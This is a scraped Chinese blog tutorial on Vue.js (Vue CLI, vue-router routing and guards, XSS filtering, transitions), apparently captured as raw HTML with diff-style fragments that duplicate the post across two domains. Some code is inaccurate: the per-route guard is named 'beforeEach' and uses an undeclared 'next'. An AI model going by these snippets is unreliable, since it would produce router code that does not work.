 yarn start/yarn run dev
 如果运行报错error Component name &ldquo;Home&rdquo; should always be multi-word vue/multi-word-component-names
 只需要在vue.config.js添加lintOnSave: false配置，例如：
-module.exports = defineConfig({
transpileDependencies: true,
lintOnSave: false
})
这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"深入学习vuejs","item":"https://xiaochenabc123.github.io/posts/75/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"深入学习vuejs","name":"深入学习vuejs","description":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade \u0026ndash;latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name \u0026ldquo;Home\u0026rdquo; should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({\rtranspileDependencies: true,\rlintOnSave: false\r})\r这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了","keywords":["vuejs"],"articleBody":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade –latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name “Home” should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({\rtranspileDependencies: true,\rlintOnSave: false\r})\r这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了\nVue-router是vue官方推出的vue官方路由管理工具，和vue核心深度集成\n该Vue-router路由被用于单页面应用，组件的切换，而不想其他那样可以使用超链接来切换页面\n安装router\nnpm install vue-router –save-dev\n或者\nvue add router\n例如：\nApp.vue\nhallo index\rhallo\rrouter.js\nimport {createRouter, createWebHashHistory} from \"vue-router\"\rimport Hallo from './components/Hallo'\rimport Home from './components/Home'\rimport Index from './components/Index' const routes = [ {\rpath: \"/Home\", name: \"Home\", component: Home,\rchildren: [\r{path:\"/\",component: Home},\r{path:\"Index\",component: Index}\r]\r},\r{\rpath: \"/Hallo\",\rname: \"Hallo\",\rcomponent: Hallo\r}\r]\rconst router = createRouter({\rhistory: createWebHashHistory(),\rroutes: routes\r})\rexport default router\rmain.js\nimport { createApp } from 'vue'\rimport App from './App.vue'\rimport router from './router'\rcreateApp(App).use(router).mount('#app')\r为路由匹配到组件（路由视图），它会表示渲染出使用切换的组件\npath是链接路径，name为链接名称，component为导入的组件模板名，多个地址用逗号分开，children为子路由声明，\n带参数的动态路由\nUser.vue\n{{ $route.params.id }}\rrouter.js\n{ path: “/User/:id”, name: “User”, component: User }\n访问http://localhost:8080/#/User/admin\n可以看页面显示了admin，说明通过路由传递了参数到模板中，其中id的参数在模板是以$route.params.id方式获取的\n去掉#：因为我这里vue-router路由模式设置为hash（createWebHashHistory），需要开启history（createWebHistory）\nimport {createWebHistory} from \"vue-router\"\rconst router = createRouter({\rhistory: createWebHistory(),\rroutes: routes\r})\r获取获取以什么开头的路由\n{\rpath: '/User:pathMatch(.*)*',\rname: 'User',\rcomponent: User\r},\r可以看到使用了路由，例如http://localhost:8080/Useraaa/等等，只要是Userxxx以及Userxxx/xxx都会渲染User组件\npath: ‘/User:afterUser(.*)’,这个效果和上面一样\n当Url需要纯数字时：\n{\rpath: '/User/:id(\\\\d+)',\rname: 'User',\rcomponent: User\r},\rhttp://localhost:8080/User/666\n复用参数（0个或多个用*，1个或多个用+）\n在上面的基础上改：\n{\rpath: '/User/:id(\\\\d+)+',\rname: 'User',\rcomponent: User\r},\r访问http://localhost:8080/#/User/666/111，可以看到，模板的{{ $route.params.id }}，渲染出[ “666”, “111” ]这样的数组，而不是字符串了，因此可以使用$route.params.id[1]，来精确获取第几个路由\n嵌套路由（User路由中使用了Admin路由，子路由）\nUser.vue\n{{ $route.params.id }}\rUserAdmin.vue\nhallo admin\rrouter.js\n{\rpath: '/User/:id(\\\\d+)+',\rname: 'User',\rcomponent: User,\rchildren: [\r{\rpath: 'admin',\rcomponent: UserAdmin\r}\r]\r},\r访问http://localhost:8080/#/User/666/admin，可以看到hallo admin\n编程式路由（非router-link）\nApp.vue\ngo\r可以看到点击了go，就会跳转到http://localhost:8080/User/123\n除了通过字符串外，还可以router.push({path: ‘/User/123’})\n传递参数（模板{{ $route.params.id }}）\nparams方式\nrouter.push({name: ‘User’, params: { id: 666 }})\n访问http://localhost:8080/User/666\nquery方式\nrouter.push({path: ‘/User’, query: { id: 123 }})\n访问http://localhost:8080/User?id=123\nquery方式获取参数，需要使用{{$route.query.id}}，而不是$route.params.id了\nhash方式\nrouter.push({ path: ‘/User’, hash: ‘#admin’ })\n访问http://localhost:8080/User#admin\n使用{{$route.hash}}获取参数\n动态路由参数\nlet user = ‘admin’ router.push({ name: ‘User’, params: { user } })\nreplace（使用该跳转，将不会创建会话历史记录，会替代上一个会话的记录）\nrouter.replace({ path: ‘/User’})\n使用replace: true参数也是可以给push设置（push的replace默认为false）\nrouter.push({ path: ‘/User’, replace: true })\n会话历史记录跳跃\n前进n条记录（前进2页） router.go(2)\n返回n条记录（后退2页面）\nrouter.go(-2)\n例如：\nApp.vue\nimport {useRouter} from 'vue-router'\rexport default{\rsetup(){\rconst router = useRouter()\rlet goAdmin = () =\u003e{\rrouter.go(2)\r}\rreturn{\rgoAdmin\r}\r}\r}\r路由的name属性的作用：\n除了像这样用外Go\n还可以用name属性指向一个路由的path，防止路由地址写错，设置params属性给模板接收参数（这个参数不会作用于URL），Go\n当需要在同级下渲染多个router-view，如何确保其router-view渲染的是自己想要的，利用router-view的name属性（该属性默认值为default）\nApp.vue\nrouter.js\nimport User from './components/User.vue' import A from './components/a.vue' import B from './components/b.vue' import C from './components/c.vue' const routes = [ {\rpath: '/User',\rname: 'User',\rcomponents:{\rdefault: User,\ra:A,\rb:B,\rc:C\r}\r}\r]\rconst router = createRouter({\rhistory: createWebHashHistory(),\rroutes: routes\r})\rexport default router\r访问http://localhost:8080/User，可以看到渲染出了a组件，b组件，c组件\n其中router.js的小写a就是指向了router-view的name属性，大写的A就是组件，和name属性对应上（键值对），将其对应渲染到相应的router-view中\ncomponents属性为多组件配置\n重定向（当希望访问到某个路由时，能跳转到另一个路由时）\nconst routes = [ {\rpath: \"/Home\", name: \"Home\",\rredirect: '/', components: {\rdefault: Home\r}\r}\r]\r访问http://localhost:8080/Home\n设置还可以指向一个路由的name属性，const routes = [{ path: ‘/Home’, redirect: { name: ‘User’ } }]\n另外如果一个路由使用了redirect重定向，那么是可以不用写component了，因为不会真正访问到（访问到就重定向到另一个路由了），但是存在子路由时就需要写component了\n当重定向发生时，也需要传递参数到重定向时，例如：\n{\rpath: '/User/:id',\rname: 'User',\rcomponents:{\rdefault: User,\r} ,\rredirect: to =\u003e{\rreturn { path: '/', query: { id: to.params.id } }\r}\r}\r当访问http://localhost:8080/User/123时，会重定向到http://localhost:8080/?id=123，如果/User/123的123，被传到query了，另外还可以在重定向的目标组件模板用{{$route.query.id}}获取到该参数\n重定向别名\n{\rpath: \"/Home\", name: \"Home\",\rcomponents: {\rdefault: Home,\r},\ralias: '/User',\r}\r别名就是访问http://localhost:8080/User/时，实质上是访问/Home这个路由，和redirect的区别就是，redirect会改变URL，而alias不会改变URL\n利用子路由来给多路由匹配组件\n{\rpath: \"/Home/:id\", name: \"Home\",\rcomponent: Home,\rchildren: [\r{ path: '', component: Homea, alias: [':id','admin', '/User'] },\r]\r}\r当访问http://localhost:8080/Home/123，http://localhost:8080/Home/admin，http://localhost:8080/User时，渲染的是Home组件\n路由props传参（通过props接收参数）\nroutes.js\n{\rpath: '/hallo/:id',\rcomponent: Home,\rprops: true\r}\rHome.vue\nhallo {{id}}\r当props为true时，其route.query（router.params）将被设置为该组件的属性，可直接访问其参数\n对于有命名视图的路由，必须为每个命名视图定义props配置，例如：\n{\rpath: \"/Home/:id\", name: \"Home\",\rcomponents: {\rdefault: Home,\rindex: Index\r},\rprops:{\rdefault: true, index: false\r}, },\r在上面例子中props是对象形式，可以看到index组件就算props接收了id参数，但是因为其路由props设置了false，导致其route.query（router.params）没有设置为该组件的属性，因此没有id参数\nroutes.js\n{\rpath: \"/Home\", name: \"Home\",\rcomponent: Home,\rprops: (route) =\u003e ({id : route.query.id }) },\rHome.vue\nhallo {{id}}\r访问http://localhost:8080/Home?id=123，Home输出123\n上面例子中route.query.id就是当前query（id=123），将其传入到id中，然后模板接收\n注意：函数模式请不要用于多组件components中，在多组件components中，需要给除default外的组件设置router-view的name属性\n导航守卫（导航守卫实质上就是路由跳转时的钩子函数，守卫是异步执行的）\n全局前置守卫：beforeEach\nrouter.beforeEach((to,form)=\u003e{ return false})\n守卫接收2个参数，to是跳转的目标路由，form是跳转离开的路由，返回值如果为false时，表示取消当前导航，当返回值为路由地址时，会跳转到该路由地址，还有一个next()可选参数，该可选参数表示放行\n当next(false)时，表示取消当前导航，当next(’/Home’)时，会跳转到/Home（和router.push类似）\n如果守卫抛出Error时，取消导航并且调用router.onError()\n守卫正常时是undefined或返回true\n例如：\nroutes.js\nconst router = createRouter({\rhistory: createWebHistory(),\rroutes: routes\r})\rrouter.beforeEach((to, from, next) =\u003e {\rif (to.name !== \"Home\") {\rnext({\rname: 'Home'\r})\r} else {\rnext()\r}\r})\r像上面的例子中，全局路由守卫将会监听要跳转的路由的name属性是否为Home，如果不是Home就会调用next()方法跳转到name为Home的路由，如果是Home的话守卫放行\n全局解析守卫：beforeResolve\n全局解析守卫和全局前置守卫类似，都是路由跳转前调用，但是beforeResolve会在beforeEach（全局前置守卫）和beforeRouteEnter（组件路由守卫）之后触发，afterEach（全局后置守卫）之前触发\nrouter.beforeResolve((to, from, next) =\u003e {\rif (to.name !== \"Home\") {\rnext({\rname: 'Home'\r})\r} else {\rnext()\r}\r})\r可以看到效果和beforeEach一样\n全局后置守卫：afterEach（没有next()，全局后置守卫顾名思义，就是路由跳转后触发）\nrouter.afterEach((to, from) =\u003e {\rconsole.log(to.name)\rconsole.log(from.name)\r})\r路由独享的守卫beforeEach（在路由内部定义的beforeEach守卫）\n{\rpath: \"/Home\", name: \"Home\",\rcomponent: Home,\rbeforeEach: (to,from) =\u003e{\rif (to.name !== \"Home\") {\rnext({\rname: 'Home'\r})\r} else {\rnext()\r}\r}\r},\r路由独享的守卫beforeEach只在进入路由时触发（params，query，hash改变并不会触发）\n组件路由守卫：beforeRouteEnter，beforeRouteUpdate，beforeRouteLeave\nbeforeRouteEnter：在渲染该组件时对应的路由被确定前触发，在该守卫触发时，组件实例未被创建，因此不能获取组件实例的任何东西\nbeforeRouteUpdate：当前路由发送改变，但是该组件又被复用时触发，比如传参，只是改变参数，但是复用了当前组件，该守卫触发时，组件实例已被挂载，可访问组件实例\nbeforeRouteLeave：当导航离开渲染该组件的路由时触发，可访问组件实例\n例如：\nHome.vue\nexport default {\rbeforeRouteEnter(to, from, next) {\rnext(vm =\u003e{\rconsole.log(vm) // 可以看到vm是组件实例，说明可以通过next来访问组件实例，next()会在导航被确认时被回调\r})\r},\rbeforeRouteUpdate(to, from, next) {\rif (to.name !== \"Home\") {\rnext({\rname: 'Home'\r})\r} else {\rnext({\rname: 'User'\r})\r}\rconsole.log(to.name)\rconsole.log(from.name)\r},\rbeforeRouteLeave(to, from, next) {\rif(to.name !==\"Home\"){\rif(confirm('您的信息还未保存，确定要离开吗？') == true){\rnext()\r}else{\rnext(false)\r}\r}\rconsole.log(to.name)\rconsole.log(from.name)\r},\r}\r路由元信息（路由meta字段属性）\n{\rpath: \"/Home\", name: \"Home\",\rcomponent: Home,\rmeta: { ha: false }\r}\r},\rrouter.beforeEach((to, from, next) =\u003e {\rif (to.name == 'Home' \u0026\u0026 to.meta.ha){\rnext()\r}else{\rnext(false)\r}\r})\r路由懒加载（动态导入）\nconst User = () =\u003e import('./components/User.vue')\rconst routes = [{ path: '/User', name: 'User'\rcomponent: User }]\r动态路由\nconst routes = [{ path: '/:id', name: 'User'\rcomponent: User }]\rconst router = createRouter({\rhistory: createWebHistory(),\rroutes: routes\r})\rrouter.addRoute({ path: '/Home',name: 'Home', component: Home }) // 添加路由\rrouter.removeRoute('Home') // 删除路由\r注意：当路由被删除时，路由别名和子路由同时也被删除\n不只是在路由router中设置，还可以在路由守卫设置，而且当2个addRoute路由的name重名时，也会触发删除路由，当路由没有name属性时，可通过定义回调函数，让其重新添加路由（实质上是删除路由，因为重复了）,例如：\nconst RoutesData = router.addRoute(path: '/Index', component: Home )\rRoutesData()\r嵌套路由\nrouter.addRoute({ path: '/User', name: 'User', component: User })\rrouter.addRoute('User', { path: 'Admin', component: Home })\rvue中解决xss脚本攻击（依赖于xss模块）\nnpm install xss –save\n引用xss模块\nimport xss from 'xss'\rObject.defineProperty(Vue.prototype, '$xss', {\rvalue: xss\r})\r在评论框或者其他输入框等等要针对免疫xss地方使用$xss()方法\n自定义拦截规则\n在data字段，return字段下设置白名单，格式就是标签名加属性，只要不是白名单的标签和属性，就是会被过滤掉\noptions : {\rwhiteList: {\ra: ['href', 'title'],\rdiv: ['class']\r}\r}\rvue中解决html和Markdown转换\nMarkdownToHtml（处理md转换为html）\nnpm install showdown –save\n使用方法：\nimport showdown\rlet converter = new showdown.Converter()\rlet text = '# hallo word' // md格式的文本\rlet html = converter.makeHtml(text)\rHtmlToMarkdown（处理html转换为md）\nnpm install turndown –save\n使用方法：\nimport turndown\rlet turndownService = new turndown()\rlet markdown = turndownService.turndown('hallo word')\rvuejs是声明式视图层框架，视图层框架分为命令式和声明式两种，命令式关注过程，声明式关注结果，命令式的代码描述了工作过程，而声明式的代码只声明，结果由框架来提供\nvuejs内部实现肯定是命令式的，但是进行封装了工作过程，对外暴露的是声明式，声明式的性能并没有命令式的性能优，因为命令式的工作流程一目了然，去除或者添加某个功能，理论上能做到最优性能\n而声明式只关注了结果，需要查找前后代码的差异（虚拟dom+diff算法），然后再更新，vuejs选择声明式的方案是为了可维性，不需要关心工作过程，只需要关注结果就好了\n虚拟DOM对比innerHTML操作DOM\n创建DOM：虚拟DOM和innerHTML操作DOM都是创建所有DOM元素，因此虚拟DOM和innerHTML操作DOM基本上性能是一致的（DOM层计算）\n更新DOM：innerHTML操作DOM更新是先重新创建HTML字符串，然后再更新DOM元素（销毁旧的DOM元素，重新创建一个完整的DOM元素），而虚拟DOM是通过创建新的JavaScript对象，然后前后俩个JavaScript对象进行DIff比较，得到差异，只更新差异\n不难看出，虚拟DOM的优势在于更新DOM\n渲染器的作用就是将虚拟DOM（JavaScript对象）渲染成真实的DOM\n渲染器将JavaScript对象的值获得，并且以原生JavaScript方式渲染出来，当tag为字符串时，渲染标签元素，如果是函数（或者对象）那么表示该是组件，组件函数返回值本身就是虚拟DOM，如果是对象的话，获取对象的render函数，得到其返回值（这个实质上也是虚拟DOM），编译器（模板）原理上和渲染器是一样的\ntransition（过渡和动画）\n过渡：元素属性从一个属性过渡为另一个属性，例如元素的背景颜色从黑色过渡到白色\n动画：一个元素从一个地方移动到另一个地方\nvue内置了组件和API来完成动画和过渡\n过渡：\nconst app = Vue.createApp({\rdata(){\rreturn {\rishallo: false\r}\r},\rmethods:{\ronhalloClick(){\rthis.ishallo = ! this.ishallo\r}\r},\rtemplate: ` 点我隐藏/显示\rhallo word\r`\r})\rconst vm = app.mount(\"#app\")\r动画\nvue\nconst app = Vue.createApp({\rdata(){\rreturn {\rishallo: false\r}\r},\rtemplate: ` 点我触发动画\rhallo word\r`\r})\rconst vm = app.mount(\"#app\")\rcss样式\n.hallo {\ranimation: hallo 1s linear\r}\r@keyframes hallo {\r0% {\rtransform: translate3d(0px, 0, 0)\r}\r10% {\rtransform: translate3d(-2px, 0, 0)\r}\r60% {\rtransform: translate3d(2px, 0, 0)\r}\r100% {\rtransform: translate3d(0px, 0, 0)\r}\r}\r硬件加速：使用了perspective，backface-visibility和transform: translateZ()都可以触发硬件加速\n解决过渡和动画时间不一致\n，当使用该属性，动画结束，过渡会跟着结束\n，当使用该属性，过渡结束，动画会跟着结束\n统一管理动画和过渡时间\n，该属性值单位为毫秒，意思为1秒后结束动画和过渡\n，enter为进入动画和过渡时间，leave为离开动画和过渡时间\ntransition内置组件在一个过渡周期会触发6个状态，分别是v-enter-from，v-enter-active，v-enter-to，v-leave-from，v-leave-active，v-leave-to\nv-enter-from：表示过渡的开始状态，元素插入之前触发，元素插入后的下一帧移除\nv-enter-active：表示过渡生效时状态，在元素插入之前触发，在动画和过渡完成后移除\nv-enter-to：表示过渡的结束状态，在元素插入后下一帧触发，在动画和过渡完成后移除\nv-leave-from：表示离开过渡的开始状态，离开过渡时立即触发，下一帧后移除\nv-leave-active：表示离开过渡的生效状态，离开过渡时立即触发，在动画和过渡完成后移除\nv-leave-to：表示离开过渡的结束状态，离开过渡后下一帧触发，在动画和过渡完成后移除\n用法：\nconst app = Vue.createApp({\rdata(){\rreturn {\rishallo: false\r}\r},\rtemplate: ` 点我触发动画\rhallo word\r`\r})\rconst vm = app.mount(\"#app\")\r样式\n.v-enter-active{\ranimation: hallo 1s; // 表示入场时触发时hallo动画\r}\r.v-leave-active{\ranimation: hallo 1s; // 表示出场时触发时hallo动画\r}\r@keyframes hallo {\r0% {\rtransform: translate3d(0px, 0, 0)\r}\r10% {\rtransform: translate3d(-2px, 0, 0)\r}\r60% {\rtransform: translate3d(2px, 0, 0)\r}\r100% {\rtransform: translate3d(0px, 0, 0)\r}\r}\r关闭css动画：，使用该属性表示将通过组件事件来触发动画，不再使用css动画了\n过渡模式：，该属性有2个值，out-in和in-out，默认同时进行\nout-in：当前元素先进行过渡，完成后新元素过渡进入\nin-out：新元素先进行过渡，完成后当前元素过渡离开\n该常用于动态组件的切换过渡，也是说out-in是当前元素先进行过渡，切换到新元素时，过渡进入，而in-out是新元素过渡，切换到当前元素时过渡离开\nname属性：，该属性表示自动生成css过渡类名，像例子中的，将生成为.hallo-enter等等，就是将过渡周期中的6个状态的v改成name属性值了\nvue devtools调试工具\n下载https://github.com/vuejs/vue-devtools\n解压，并且在该目录执行npm install\n修改manifest.json（该文件在项目目录的packages/shell-chrome），将persistent改为true\n打包npm run build\n以谷歌浏览器为例子，加载已解压的扩展程序，选择刚刚打包的目录的packages/shell-chrome文件夹\nvue3引入了tree-shaking技术，当没有在项目中使用某个模块时，那么该模块的代码将不会出现在打包中\nvue3抛弃了Object.defineProperty，改用Proxy来做数据的响应式\nvue3不再使用src托管，而采用monorepo管理\nvue3采用typescript编写源码，对typescript的兼容更好，vue2使用的是flow来处理类型检查\nvue3提供了Composition API，对于逻辑复用支持更好\n","wordCount":"1221","inLanguage":"en","datePublished":"2021-08-07T23:25:00Z","dateModified":"2021-08-07T23:25:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/75/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>深入学习vuejs</h1><div class=post-meta><span title='2021-08-07 23:25:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%b7%b1%e5%85%a5%e5%ad%a6%e4%b9%a0vuejs.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Vue CLI是vue官方脚手架，可以快速创建vue项目</p><p>安装vue-cli3</p><p>npm install -g @vue/cli</p><p>或者</p><p>yarn global add @vue/cli</p><p>升级</p><p>npm update -g @vue/cli</p><p>或者</p><p>yarn global upgrade &ndash;latest @vue/cli</p><p>创建vue项目</p><p>vue create vue-demo</p><p>如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo</p><p>default (babel, eslint) // 默认选项，包含babel和eslint</p><p>Manually select features // 自定义创建配置工程</p><p>一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter</p><p>空格为选择，enter为下一步</p><p>跑vue项目</p><p>npm run serve</p><p>或者</p><p>yarn start/yarn run dev</p><p>如果运行报错error Component name &ldquo;Home&rdquo; should always be multi-word vue/multi-word-component-names</p><p>只需要在vue.config.js添加lintOnSave: false配置，例如：</p><pre><code>module.exports = defineConfig({
-    transpileDependencies: true,
-    lintOnSave: false
-})
-</code></pre><p>这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了</p><hr><p>Vue-router是vue官方推出的vue官方路由管理工具，和vue核心深度集成</p><p>该Vue-router路由被用于单页面应用，组件的切换，而不想其他那样可以使用超链接来切换页面</p><p>安装router</p><p>npm install vue-router &ndash;save-dev</p><p>或者</p><p>vue add router</p><p>例如：</p><p>App.vue</p><pre><code>&lt;template&gt;
-    &lt;router-link to=&quot;/Home/Index&quot;&gt;hallo index&lt;/router-link&gt;
-    &lt;router-link to=&quot;/Hallo&quot;&gt;hallo&lt;/router-link&gt;
-    &lt;router-view&gt;&lt;/router-view&gt;
-&lt;/template&gt;
-</code></pre><p>router.js</p><pre><code>import {createRouter, createWebHashHistory} from &quot;vue-router&quot;
-import Hallo from './components/Hallo'
-import Home from './components/Home'
-import Index from './components/Index'      
-const routes = [ 
-{
-    path: &quot;/Home&quot;,         
-    name: &quot;Home&quot;,     
-    component: Home,
-    children: [
-        {path:&quot;/&quot;,component: Home},
-        {path:&quot;Index&quot;,component: Index}
-    ]
-},
-{
-    path: &quot;/Hallo&quot;,
-    name: &quot;Hallo&quot;,
-    component: Hallo
-}
-]
-const router = createRouter({
-    history: createWebHashHistory(),
-    routes: routes
-})
-export default router
-</code></pre><p>main.js</p><pre><code>import { createApp } from 'vue'
-import App from './App.vue'
-import router from './router'
-createApp(App).use(router).mount('#app')
-</code></pre><p>为路由匹配到组件（路由视图），它会表示渲染出使用切换的组件</p><p>path是链接路径，name为链接名称，component为导入的组件模板名，多个地址用逗号分开，children为子路由声明，</p><p>带参数的动态路由</p><p>User.vue</p><pre><code>&lt;template&gt;
-    &lt;div&gt;
-        {{ $route.params.id }}
-    &lt;/div&gt;
-&lt;/template&gt;
+module.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"深入学习vuejs","item":"https://chenjunlinabc.github.io/posts/75/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"深入学习vuejs","name":"深入学习vuejs","description":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade \u0026ndash;latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name \u0026ldquo;Home\u0026rdquo; should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了","keywords":["vuejs"],"articleBody":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade –latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name “Home” should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了\nVue-router是vue官方推出的vue官方路由管理工具，和vue核心深度集成\n该Vue-router路由被用于单页面应用，组件的切换，而不想其他那样可以使用超链接来切换页面\n安装router\nnpm install vue-router –save-dev\n或者\nvue add router\n例如：\nApp.vue\nhallo index hallo router.js\nimport {createRouter, createWebHashHistory} from \"vue-router\" import Hallo from './components/Hallo' import Home from './components/Home' import Index from './components/Index' const routes = [ { path: \"/Home\", name: \"Home\", component: Home, children: [ {path:\"/\",component: Home}, {path:\"Index\",component: Index} ] }, { path: \"/Hallo\", name: \"Hallo\", component: Hallo } ] const router = createRouter({ history: createWebHashHistory(), routes: routes }) export default router main.js\nimport { createApp } from 'vue' import App from './App.vue' import router from './router' createApp(App).use(router).mount('#app') 为路由匹配到组件（路由视图），它会表示渲染出使用切换的组件\npath是链接路径，name为链接名称，component为导入的组件模板名，多个地址用逗号分开，children为子路由声明，\n带参数的动态路由\nUser.vue\n{{ $route.params.id }} router.js\n{ path: “/User/:id”, name: “User”, component: User }\n访问http://localhost:8080/#/User/admin\n可以看页面显示了admin，说明通过路由传递了参数到模板中，其中id的参数在模板是以$route.params.id方式获取的\n去掉#：因为我这里vue-router路由模式设置为hash（createWebHashHistory），需要开启history（createWebHistory）\nimport {createWebHistory} from \"vue-router\" const router = createRouter({ history: createWebHistory(), routes: routes }) 获取获取以什么开头的路由\n{ path: '/User:pathMatch(.*)*', name: 'User', component: User }, 可以看到使用了路由，例如http://localhost:8080/Useraaa/等等，只要是Userxxx以及Userxxx/xxx都会渲染User组件\npath: ‘/User:afterUser(.*)’,这个效果和上面一样\n当Url需要纯数字时：\n{ path: '/User/:id(\\\\d+)', name: 'User', component: User }, http://localhost:8080/User/666\n复用参数（0个或多个用*，1个或多个用+）\n在上面的基础上改：\n{ path: '/User/:id(\\\\d+)+', name: 'User', component: User }, 